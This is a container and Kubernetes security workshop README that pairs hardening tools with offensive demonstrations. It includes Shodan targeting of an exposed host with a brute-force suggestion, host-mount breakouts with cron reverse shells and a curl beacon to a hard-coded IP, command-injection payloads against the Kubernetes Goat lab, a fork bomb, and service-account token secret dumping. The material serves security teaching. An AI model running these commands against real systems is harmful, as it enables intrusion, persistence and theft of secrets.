└── README.md /README.md: -------------------------------------------------------------------------------- 1 | # container-and-kubernetes-security-workshop-notes 2 | 3 | ## About me 4 | 5 | https://rewanthtammana.com/ 6 | 7 | ## Notes 8 | 9 | ### Sample attacks & hacks across the globe 10 | 11 | Kubernetes hacks doesn't have to be just a misconfiguration in kubernetes. Any vulnerability in the applications running on top of Kubernetes lead to entire system compromise. A few hacks: 12 | 13 | * https://www.bleepingcomputer.com/news/security/over-900-000-kubernetes-instances-found-exposed-online/ 14 | * https://www.wired.com/story/cryptojacking-tesla-amazon-cloud/ 15 | * https://www.crowdstrike.com/blog/cr8escape-new-vulnerability-discovered-in-cri-o-container-engine-cve-2022-0811/ 16 | * https://sysdig.com/blog/exposed-prometheus-exploit-kubernetes-kubeconeu/ 17 | * https://thehackernews.com/2022/05/yes-containers-are-terrific-but-watch.html 18 | * https://www.trendmicro.com/vinfo/es/security/news/cybercrime-and-digital-threats/tesla-and-jenkins-servers-fall-victim-to-cryptominers 19 | * https://thehackernews.com/2022/07/over-1200-npm-packages-found-involved.html 20 | * https://threatpost.com/380k-kubernetes-api-servers-exposed-to-public-internet/179679/ 21 | * https://www.bleepingcomputer.com/news/security/jenkins-discloses-dozens-of-zero-day-bugs-in-multiple-plugins/ 22 | 23 | ### Live session on how it's done 24 | 25 | Everyday you see many hacks happening on the internet but you might not be sure how it happens. I will show a demonstration on how it's done end-to-end! 26 | 27 | https://www.shodan.io/ 28 | 29 | You can get the pro account for $5 for life time & it's worth it. 30 | 31 | Query - port:4040 country:"IN" city:"Mumbai" 32 | 33 | You can use their developer guide to write scripts to scrape the data, etc. 34 | 35 | https://github.com/JavierOlmedo/shodan-filters 36 | 37 | https://www.shodan.io/host/65.0.72.126 38 | 39 | You can use tools like https://github.com/xmendez/wfuzz or simple bash scripts to brute force the username & password 40 | 41 | Most popular username & password dump: https://github.com/danielmiessler/SecLists 42 | 43 | 44 | https://github.com/weaveworks/scope 45 | 46 | ```bash 47 | apk add libcap 48 | capsh --print 49 | ``` 50 | 51 | ```bash 52 | find / -name docker.sock 53 | apk add docker 54 | ``` 55 | 56 | We can run privileged containers, containers with hostpid, hostipc, etc. We can gain access to the host machine, run things around, run crypto miners silently in the background, and lot more. We can even leverage capabilities like CAP_SYS_ADMIN, CAP_SYS_MODULE, CAP_SYS_RAWIO, CAP_NET_ADMIN, etc. 57 | 58 | You can also use tools like `nsenter` to create namespaces in linux or even hook into one of the parent processes running on the host & break out of the container 59 | 60 | ```bash 61 | which nsenter 62 | ``` 63 | 64 | How to know if we are inside a container or on a host machine? 65 | 66 | ```bash 67 | ls -l /var/lib/docker 68 | ``` 69 | 70 | ```bash 71 | docker run --rm -it -v /:/abcd ubuntu bash 72 | # ls -l /abcd/var/lib/docker 73 | # hostname 74 | ``` 75 | 76 | Let's leverage the functionality of cronjob in linux to get a reverse shell. Few techniques to get a reverse shell are given here: https://highon.coffee/blog/reverse-shell-cheat-sheet/ 77 | 78 | 79 | ![Reverse shell](https://miro.medium.com/max/1400/1*CyVqkmA7wLYaippCGRXW5w.jpeg) 80 | Reference: https://systemweakness.com/a-persistent-reverse-shell-on-macos-40fb65b3dacf?gi=70e6704f4f9e 81 | 82 | ```bash 83 | docker run --rm -it -v /:/abcd ubuntu bash 84 | # ls -l /abcd/var/lib/docker 85 | # hostname 86 | # echo "bash -i >& /dev/tcp/18.141.250.7/8888 0>&1" > /abcd/tmp/run.sh 87 | # chmod +x /abcd/tmp/run.sh 88 | # echo "* * * * * root bash /tmp/run.sh" >> /abcd/etc/crontab 89 | # echo '* * * * * root curl 18.141.250.7:8000/test/$(hostname)' >> /abcd/etc/crontab 90 | ``` 91 | 92 | On `18.141.250.7`, wait for incoming connection 93 | 94 | ```bash 95 | nc -nlvp 8888 96 | ``` 97 | 98 | ### Attack Mitre framework 99 | 100 | ![https://images.contentstack.io/v3/assets/blt300387d93dabf50e/blt79d91d9e7404f336/629d981961670f0fb5dd1161/MITTRE_ATTACK_Metric.png](https://images.contentstack.io/v3/assets/blt300387d93dabf50e/blt79d91d9e7404f336/629d981961670f0fb5dd1161/MITTRE_ATTACK_Metric.png) 101 | Reference: https://www.weave.works/blog/mitre-attack-matrix-for-kubernetes 102 | 103 | We cannot discuss all stages in one session. We will try to touch one topic from each category. But first we must learn about containers! 104 | 105 | ### Container? 106 | 107 | Isolation in the same system with unique namespaces. 108 | 109 | * PID - Isolation of process ids 110 | * User - Isolation of users & UIDs 111 | * Mount - Isolation of mount points 112 | * Net - Isolation of networking interfaces & environment 113 | * UTS - Isolation of hostname 114 | * IPC - Isolation of IPC traffic 115 | * Cgroup - Isolation of cgroups (memory & cpu) 116 | 117 | https://github.com/rewanthtammana/containers-from-scratch/blob/master/main.go#L32 118 | 119 | ```bash 120 | docker run --rm -it ubuntu bash 121 | # sleep 1d 122 | ``` 123 | 124 | ```bash 125 | ps -ef | grep sleep 1d 126 | ls /proc//ns 127 | ``` 128 | 129 | You can see the docker container namespaces! In real all the data, processes, etc are existing on the host machine. 130 | 131 | ```bash 132 | docker run --name debugcontainer --rm -it ubuntu bash 133 | # echo "inside container" > file.txt 134 | ``` 135 | 136 | ```bash 137 | docker inspect debugcontainer | grep -i upperdir 138 | ``` 139 | 140 | In `docker inspect`, you will see the below fields. 141 | 142 | `LowerDir`: contains the files of the base system 143 | `UpperDir`: all changes to the base system are stored in `upperDir` 144 | 145 | ```bash 146 | docker inspect debugcontainer | grep -i upperdir 147 | cat /file.txt 148 | ``` 149 | 150 | Viola! The file you created inside the container is accessible from the host machine. 151 | 152 | ### What does it mean to be root inside a container? 153 | 154 | You can run these on killercoda! 155 | 156 | **Root on host machine & root inside container** 157 | 158 | ```bash 159 | $ docker run --rm -it nginx bash 160 | # sleep 1d 161 | ``` 162 | 163 | ```bash 164 | $ ps -ef | grep sleep 165 | ``` 166 | 167 | **Non-root on host machine & root inside container** 168 | 169 | ```bash 170 | $ adduser ubuntu 171 | $ sudo chown ubuntu:ubuntu /var/run/docker.sock 172 | $ su - ubuntu 173 | $ docker run --rm -it nginx bash 174 | # sleep 2d 175 | ``` 176 | 177 | ```bash 178 | $ ps -ef | grep sleep 179 | ``` 180 | 181 | **Root on host machine & non-root inside container** 182 | 183 | ```bash 184 | $ docker run --rm --user 1000:1000 -it nginx bash 185 | # sleep 3d 186 | ``` 187 | 188 | ```bash 189 | $ ps -ef | grep sleep 190 | ``` 191 | 192 | Since docker daemon runs as root, eventually all the processes triggered by it run as root. Another example - 193 | 194 | ```bash 195 | echo "I'm root" >> /tmp/groot.txt 196 | chmod 0600 /tmp/groot.txt 197 | su - ubuntu 198 | cat /tmp/groot.txt 199 | ``` 200 | 201 | ```bash 202 | docker run --rm -it -v /tmp/groot.txt:/tmp/groot.txt nginx cat /tmp/groot.txt 203 | docker run --rm -it -u 1000:1000 -v /tmp/groot.txt:/tmp/groot.txt nginx cat /tmp/groot.txt 204 | ``` 205 | 206 | When the user inside the container is non-root, even if the container gets compromised, the attacker cannot read the mounted sensitive files unless they have the appropriate permissions or escalate the privileges. 207 | 208 | ### Privileged container 209 | 210 | Kernel files are crucial on host machine, let's see if we can mess with that. 211 | 212 | https://github.com/torvalds/linux/blob/v5.0/Documentation/sysctl/vm.txt#L809 213 | 214 | ```bash 215 | $ cat /proc/sys/vm/swappiness 216 | $ docker run --rm --privileged -it ubuntu bash 217 | # cat /proc/sys/vm/swappiness 218 | 60 219 | # echo 10 > /proc/sys/vm/swappiness 220 | $ cat /proc/sys/vm/swappiness 221 | ``` 222 | 223 | These kind of changes to the kernel files can create DoS attacks! 224 | 225 | Let's say you got access to one of the containers by exploiting an application or some other means. How will you identify if you are inside a privileged or normal container? There are many ways! A few of them are! 226 | 227 | Run two containers, one normal & one privileged 228 | 229 | ```bash 230 | docker run --rm -it ubuntu bash 231 | docker run --rm --privileged -it ubuntu bash 232 | ``` 233 | 234 | 1. Check for mount permissions & masking 235 | ```bash 236 | mount | grep 'ro,' 237 | mount | grep /proc.*tmpfs 238 | ``` 239 | 1. Linux capabilities - we will see more about it in the next section! 240 | ```bash 241 | capsh --print 242 | ``` 243 | 1. Seccomp - Limit the syscalls 244 | ```bash 245 | grep Seccomp /proc/1/status 246 | ``` 247 | 248 | ### Capabilities 249 | 250 | https://command-not-found.com/capsh 251 | https://man7.org/linux/man-pages/man7/capabilities.7.html 252 | https://www.schutzwerk.com/en/43/posts/linux_container_capabilities/ 253 | 254 | ```bash 255 | capsh --print 256 | ``` 257 | 258 | ```bash 259 | grep Cap /proc/self/status 260 | capsh --decode= 261 | ``` 262 | 263 | Demonstrating that the processes inside the container inherits it's capabilities 264 | 265 | ```bash 266 | $ docker run --rm -it ubuntu sleep 1d & 267 | $ ps aux | grep sleep 268 | $ grep Cap /proc//status 269 | $ capsh --decode= 270 | ``` 271 | 272 | ```bash 273 | $ docker run --rm --privileged -it ubuntu sleep 2d & 274 | $ ps aux | grep sleep 275 | $ grep Cap /proc//status 276 | $ capsh --decode= 277 | ``` 278 | 279 | ```bash 280 | $ docker run --rm --cap-drop=all -it ubuntu sleep 3d & 281 | $ ps aux | grep sleep 282 | $ grep Cap /proc//status 283 | $ capsh --decode= 284 | ``` 285 | 286 | **CapEff:** The effective capability set represents all capabilities the process is using at the moment. 287 | 288 | **CapPrm:** The permitted set includes all capabilities a process may use. 289 | 290 | **CapInh:** Using the inherited set all capabilities that are allowed to be inherited from a parent process can be specified. 291 | 292 | **CapBnd:** With the bounding set its possible to restrict the capabilities a process may ever receive. 293 | 294 | **CapAmb:** The ambient capability set applies to all non-SUID binaries without file capabilities. 295 | 296 | About a few capabilities: 297 | 298 | **CAP_CHOWN** - allows the root use to make arbitrary changes to file UIDs and GIDs 299 | 300 | **CAP_DAC_OVERRIDE** - allows the root user to bypass kernel permission checks on file read, write and execute operations. 301 | 302 | **CAP_SYS_ADMIN** - Most powerful capability. It allows to manage cgroups of the system, thereby allowing you to control system resources 303 | 304 | ```bash 305 | docker run --rm -it busybox:1.28 ping google.com 306 | ``` 307 | 308 | ```bash 309 | docker run --rm --cap-drop=NET_RAW -it busybox:1.28 ping google.com 310 | ``` 311 | 312 | ```bash 313 | docker run --rm -it --cap-drop=all ubuntu chown nobody /tmp 314 | docker run --rm -it ubuntu chown nobody /tmp 315 | docker run --rm -it --cap-drop=all --cap-add=chown ubuntu chown nobody /tmp 316 | ``` 317 | 318 | * https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/ 319 | * https://www.schutzwerk.com/en/43/posts/linux_container_capabilities/ 320 | * https://blog.pentesteracademy.com/abusing-sys-module-capability-to-perform-docker-container-breakout-cf5c29956edd 321 | 322 | ### Docker socket 323 | 324 | We got multiple scenarios in Kubernetes Goat. So, we can do a hands-on session on those scenarios. 325 | 326 | Run it on your local machine/cloud instance. For multiple reasons, killercoda isn't working with this project! 327 | 328 | If you have Kubernetes, run the below commands! 329 | 330 | ```bash 331 | git clone https://github.com/madhuakula/kubernetes-goat.git 332 | cd kubernetes-goat 333 | bash setup-kubernetes-goat.sh 334 | # Wait for a while to get all services up & running 335 | watch -n 0.1 kubectl get po 336 | bash access-kubernetes-goat.sh 337 | ``` 338 | 339 | If you are on KinD, then 340 | 341 | ```bash 342 | git clone https://github.com/madhuakula/kubernetes-goat.git 343 | cd kubernetes-goat/platforms/kind-setup 344 | bash setup-kind-cluster-and-goat.sh 345 | # Wait for a while to get all services up & running 346 | watch -n 0.1 kubectl get po 347 | bash access-kubernetes-goat.sh 348 | ``` 349 | 350 | Challenges list - http://127.0.0.1:1234/ 351 | 352 | DIND (docker-in-docker) exploitation - http://127.0.0.1:1231/ 353 | 354 | On your cloud instance, get ready to catch the reverse shell! 355 | 356 | ![Reverse shell](https://miro.medium.com/max/1400/1*CyVqkmA7wLYaippCGRXW5w.jpeg) 357 | Reference: https://systemweakness.com/a-persistent-reverse-shell-on-macos-40fb65b3dacf?gi=70e6704f4f9e 358 | 359 | ```bash 360 | # On your cloud instance 361 | nc -nlvp 8888 362 | ``` 363 | 364 | 365 | ```bash 366 | 127.0.0.1 367 | 127.0.0.1;id 368 | 127.0.0.1;whoami 369 | 127.0.0.1;hostname 370 | 127.0.0.1;ls -l 371 | # Get a reverse shell to ease the enumeration 372 | 127.0.0.1;echo "bash -i >& /dev/tcp/18.141.250.7/8888 0>&1" > /tmp/run.sh;cat /tmp/run.sh 373 | 127.0.0.1;chmod +x /tmp/run.sh;bash /tmp/run.sh 374 | ``` 375 | 376 | https://highon.coffee/blog/reverse-shell-cheat-sheet/ 377 | 378 | ```bash 379 | nc -nlvp 8888 380 | # you will get a shell here 381 | # look for ambiguiencies in the files 382 | find / -name docker.sock 383 | apt update #But this is taking lots of time for some reason. So, we cannot install docker with apt commands! 384 | # Download docker binary directly to save the time 385 | wget https://download.docker.com/linux/static/stable/x86_64/docker-17.03.0-ce.tgz 386 | tar xvf docker-17.03.0-ce.tgz 387 | cd docker 388 | ./docker -H unix:///custom/docker/docker.sock ps 389 | ./docker -H unix:///custom/docker/docker.sock images 390 | ``` 391 | 392 | An attacker can replace the existing images with malicious images. The end-user will never get to know & since the image is existing on the local system, the user will use it without any disruption. You can even run privileged containers, mount host system, change the file system, kernel files, & lot more. 393 | 394 | docker-socket recon 395 | 396 | https://github.com/search?q=%2Fvar%2Frun%2Fdocker.sock+filename%3Adocker-compose.yml+language%3AYAML+language%3AYAML&type=Code&ref=advsearch&l=YAML&l=YAML 397 | 398 | One of the results -> https://github.com/domwood/kiwi-kafka/blob/f47f91f5611f2c18694764d812d110b62126c694/scripts/docker-compose-kiwi.yml 399 | 400 | docker-compose up 401 | 402 | ### hostPid 403 | 404 | You will have able to access processes running on the same PID namespace. So, you will get access to lots of privileged information. 405 | 406 | ### hostIpc 407 | 408 | Not very dangerous but if any process uses the IPC (Inter Process Communication) on the host/any other container, you can write to those devices! Usually IPC shared memory is in /dev/shm 409 | 410 | ### hostNetwork 411 | 412 | The container will be using the network interface same as host machine. No special IP allocation or something. Since, you have access to the main network interface, you can dump/intercept traffic that's going through the host machine ;) 413 | 414 | ### Trivy - Scan docker images 415 | 416 | https://github.com/aquasecurity/trivy 417 | 418 | Visit the latest releases section & install the binary! 419 | 420 | ```bash 421 | trivy i nginx 422 | ``` 423 | 424 | Since, you have learnt argocd. I will teach you how to fix issues in argocd! 425 | 426 | This will not work on killercoda due to disk space constraints, use your local machine to try it! 427 | 428 | ```bash 429 | git clone https://github.com/argoproj/argo-cd 430 | cd argo-cd 431 | # Errors due to BUILDPLATFORM specification, just remove it from the Dockerfile! 432 | docker build . -t argocd 433 | trivy i argocd 434 | ``` 435 | 436 | It will take sometime to build, so let's review multi-stage builds for a while. 437 | 438 | https://github.com/argoproj/argo-cd/blob/master/Dockerfile 439 | 440 | 441 | Change the base image in the dockerfile, rebuild the argocd image & then scan it. Most of the issues will be sorted out! 442 | 443 | 444 | https://docs.docker.com/develop/develop-images/multistage-build/ 445 | 446 | ```bash 447 | trivy i ubuntu:22.04 448 | trivy i ubuntu:21.10 449 | trivy i ubuntu:21.04 450 | ``` 451 | 452 | 453 | **Distroless images** 454 | 455 | https://github.com/GoogleContainerTools/distroless 456 | 457 | ```bash 458 | trivy i gcr.io/distroless/static-debian11 459 | ``` 460 | 461 | ```bash 462 | docker run --rm -it gcr.io/distroless/static-debian11 sh 463 | docker run --rm -it gcr.io/distroless/static-debian11 ls 464 | docker run --rm -it gcr.io/distroless/static-debian11 id 465 | docker run --rm -it gcr.io/distroless/static-debian11 whoami 466 | ``` 467 | 468 | ### Analyzing docker images 469 | 470 | ```bash 471 | docker pull ubuntu 472 | docker inspect ubuntu 473 | ``` 474 | 475 | But the above inspect command will not help you to examine the layers of the docker images 476 | 477 | https://github.com/wagoodman/dive 478 | 479 | ```bash 480 | wget https://github.com/wagoodman/dive/releases/download/v0.9.2/dive_0.9.2_linux_amd64.deb 481 | sudo apt install ./dive_0.9.2_linux_amd64.deb 482 | ``` 483 | 484 | https://github.com/madhuakula/kubernetes-goat 485 | 486 | ```bash 487 | git clone https://github.com/madhuakula/kubernetes-goat.git 488 | cd kubernetes-goat 489 | bash setup-kubernetes-goat.sh 490 | # Wait for a while to get all services up & running 491 | watch -n 0.1 kubectl get po 492 | bash access-kubernetes-goat.sh 493 | ``` 494 | 495 | ```bash 496 | kubectl get jobs 497 | kubectl get jobs hidden-in-layers -oyaml 498 | dive madhuakula/k8s-goat-hidden-in-layers 499 | docker save madhuakula/k8s-goat-hidden-in-layers -o hidden-in-layers.tar 500 | tar -xvf hidden-in-layers.tar 501 | # Find the layer ID 502 | cd 503 | tar -xvf layers.tar 504 | cat 505 | ``` 506 | 507 | ### DoSing the container - Fork bomb 508 | 509 | **DO NOT RUN IN ON YOUR COMPUTER EVER. RUN IN KILLERCODA ONLY** 510 | 511 | ```bash 512 | :(){ :|:& };: 513 | ``` 514 | 515 | We will do this on killercoda! Get ready to crash your system. 516 | 517 | ```bash 518 | docker run --name unlimited --rm -it ubuntu bash 519 | docker stats unlimited 520 | ``` 521 | 522 | ```bash 523 | docker run --name withlimits --rm -m 0.5Gi --cpus 0.8 -it ubuntu bash 524 | docker stats withlimits 525 | ``` 526 | 527 | ### Private registry 528 | 529 | Another scenario is kubernetes goat! 530 | 531 | Attacking private registry - http://127.0.0.1:1235 532 | 533 | You can use tools like dirbuster/gobuster to brute force the list of pages 534 | 535 | https://docs.docker.com/registry/spec/api/ 536 | 537 | 538 | ```bash 539 | URL="http://127.0.0.1:1235" 540 | curl $URL/v2/ 541 | # List all repositories 542 | curl $URL/v2/_catalog 543 | # Get manifest of specific image 544 | curl $URL/v2/madhuakula/k8s-goat-users-repo/manifests/latest 545 | # Try to look for sensitive information in the results 546 | curl $URL/v2/madhuakula/k8s-goat-users-repo/manifests/latest | grep -i env 547 | ``` 548 | 549 | ### Dockle 550 | 551 | https://github.com/goodwithtech/dockle 552 | 553 | **Installation** 554 | 555 | ```bash 556 | VERSION=$( 557 | curl --silent "https://api.github.com/repos/goodwithtech/dockle/releases/latest" | \ 558 | grep '"tag_name":' | \ 559 | sed -E 's/.*"v([^"]+)".*/\1/' \ 560 | ) && curl -L -o dockle.deb https://github.com/goodwithtech/dockle/releases/download/v${VERSION}/dockle_${VERSION}_Linux-64bit.deb 561 | sudo dpkg -i dockle.deb && rm dockle.deb 562 | ``` 563 | 564 | ```bash 565 | dockle madhuakula/k8s-goat-users-repo 566 | ``` 567 | 568 | ### Runtime security 569 | 570 | Falco 571 | 572 | https://github.com/falcosecurity/falco 573 | 574 | You can try on Killercoda! 575 | 576 | ```bash 577 | curl -s https://falco.org/repo/falcosecurity-3672BA8F.asc | apt-key add - 578 | echo "deb https://download.falco.org/packages/deb stable main" | tee -a /etc/apt/sources.list.d/falcosecurity.list 579 | apt-get update -y 580 | apt-get -y install linux-headers-$(uname -r) 581 | apt-get install -y falco 582 | falco 583 | ``` 584 | 585 | ```bash 586 | docker run --name nginx --rm -it -d nginx 587 | ``` 588 | 589 | ```bash 590 | docker exec -it nginx bash 591 | cat /etc/shadow 592 | ``` 593 | 594 | https://github.com/developer-guy/awesome-falco 595 | 596 | ### NIST framework for containers 597 | 598 | https://nvlpubs.nist.gov/nistpubs/specialpublications/nist.sp.800-190.pdf 599 | 600 | ## Kubernetes 601 | 602 | ### RBAC misconfiguration 603 | 604 | Kubernetes Goat - http://127.0.0.1:1236 605 | 606 | ```bash 607 | cd /var/run/secrets/kubernetes.io/serviceaccount/ 608 | ls -larth 609 | export APISERVER=https://${KUBERNETES_SERVICE_HOST} 610 | export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount 611 | export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace) 612 | export TOKEN=$(cat ${SERVICEACCOUNT}/token) 613 | export CACERT=${SERVICEACCOUNT}/ca.crt 614 | curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api 615 | curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/secrets 616 | curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets 617 | curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/pods 618 | curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets | grep -i key 619 | ``` 620 | 621 | Do not mount the serviceaccount token wherever necessary 622 | 623 | ```bash 624 | kubectl explain po --recursive | grep -i automount 625 | ``` 626 | 627 | With this method, it's hard to understand the positioning of the field, `automountServiceAccountToken`. I created a tool to ease the process, you can try to leverage it. 628 | 629 | Install krew first. https://krew.sigs.k8s.io/docs/user-guide/setup/install/ 630 | 631 | ```bash 632 | ( 633 | set -x; cd "$(mktemp -d)" && 634 | OS="$(uname | tr '[:upper:]' '[:lower:]')" && 635 | ARCH="$(uname -m | sed -e 's/x86_64/amd64/' -e 's/\(arm\)\(64\)\?.*/\1\2/' -e 's/aarch64$/arm64/')" && 636 | KREW="krew-${OS}_${ARCH}" && 637 | curl -fsSLO "https://github.com/kubernetes-sigs/krew/releases/latest/download/${KREW}.tar.gz" && 638 | tar zxvf "${KREW}.tar.gz" && 639 | ./"${KREW}" install krew 640 | ) 641 | echo PATH="${KREW_ROOT:-$HOME/.krew}/bin:$PATH" >> ~/.bashrc 642 | source ~/.bashrc 643 | kubectl krew 644 | ``` 645 | 646 | https://github.com/rewanthtammana/kubectl-fields 647 | 648 | ```bash 649 | kubectl krew install fields 650 | ``` 651 | 652 | ```bash 653 | kubectl fields pods automount 654 | ``` 655 | 656 | ### Network Policies 657 | 658 | https://github.com/ahmetb/kubernetes-network-policy-recipes 659 | 660 | Show your presentation on compromising organizational security bug! A detailed presentation on million dollar company hack! 661 | 662 | https://www.linkedin.com/posts/rewanthtammana_compromising-organizational-systems-through-activity-6931329299434061824-yMcb 663 | 664 | If the database connection to the end-user is blocked, then the attack would have never happened. 665 | 666 | ### Kyverno 667 | 668 | Demonstrate on how you can control the deployment configuration 669 | 670 | Install Kyverno, 671 | 672 | ```bash 673 | kubectl create -f https://raw.githubusercontent.com/kyverno/kyverno/main/config/install.yaml 674 | ``` 675 | 676 | ```bash 677 | echo '''apiVersion: kyverno.io/v1 678 | kind: ClusterPolicy 679 | metadata: 680 | name: require-app-label 681 | spec: 682 | validationFailureAction: enforce 683 | rules: 684 | - name: check-for-app-label 685 | match: 686 | resources: 687 | kinds: 688 | - Pod 689 | validate: 690 | message: "label `app` is required" 691 | pattern: 692 | metadata: 693 | labels: 694 | app: "?*"''' > check-labels.yaml 695 | ``` 696 | 697 | ```bash 698 | kubectl apply -f check-labels.yaml 699 | ``` 700 | 701 | ```bash 702 | kubectl run nginx --image nginx 703 | kubectl run nginx --image nginx --labels rand=wer 704 | kubectl run nginx --image nginx --labels app=wer 705 | ``` 706 | 707 | ### Kubescape 708 | 709 | https://github.com/armosec/kubescape 710 | 711 | ```bash 712 | wget https://github.com/armosec/kubescape/releases/download/v2.0.164/kubescape-ubuntu-latest 713 | chmod +x kubescape-ubuntu-latest 714 | sudo mv kubescape-ubuntu-latest /usr/local/bin/kubescape 715 | ``` 716 | 717 | To gain best results, we can install the vulnerable cluster, kubernetes-goat on killercoda & then trigger the scan. 718 | 719 | ```bash 720 | git clone https://github.com/madhuakula/kubernetes-goat.git 721 | cd kubernetes-goat 722 | bash setup-kubernetes-goat.sh 723 | bash access-kubernetes-goat.sh 724 | ``` 725 | 726 | ```bash 727 | kubescape scan 728 | kubescape scan framework nsa 729 | kubescape scan framework nsa -v 730 | kubescape scan framework nsa -v --exclude-namespaces kube-system 731 | ``` 732 | 733 | ```bash 734 | kubectl edit deploy system-monitor-deployment 735 | ``` 736 | 737 | ### More 738 | 739 | There are more things like apparmor, selinux, mutating webhooks, seccomp, service mesh, observability, tracing, & lot more that help to harden a container/Kubernetes environment. 740 | 741 | For further reading, you can check my article on how an attacker can gain persistence on kubernetes cluster by exploiting mutating webhooks here - https://blog.rewanthtammana.com/creating-malicious-admission-controllers 742 | 743 | Further practice on container internals & security - https://contained.af/ 744 | 745 | ## Follow me 746 | 747 | * https://www.linkedin.com/in/rewanthtammana 748 | * https://twitter.com/rewanthtammana 749 | --------------------------------------------------------------------------------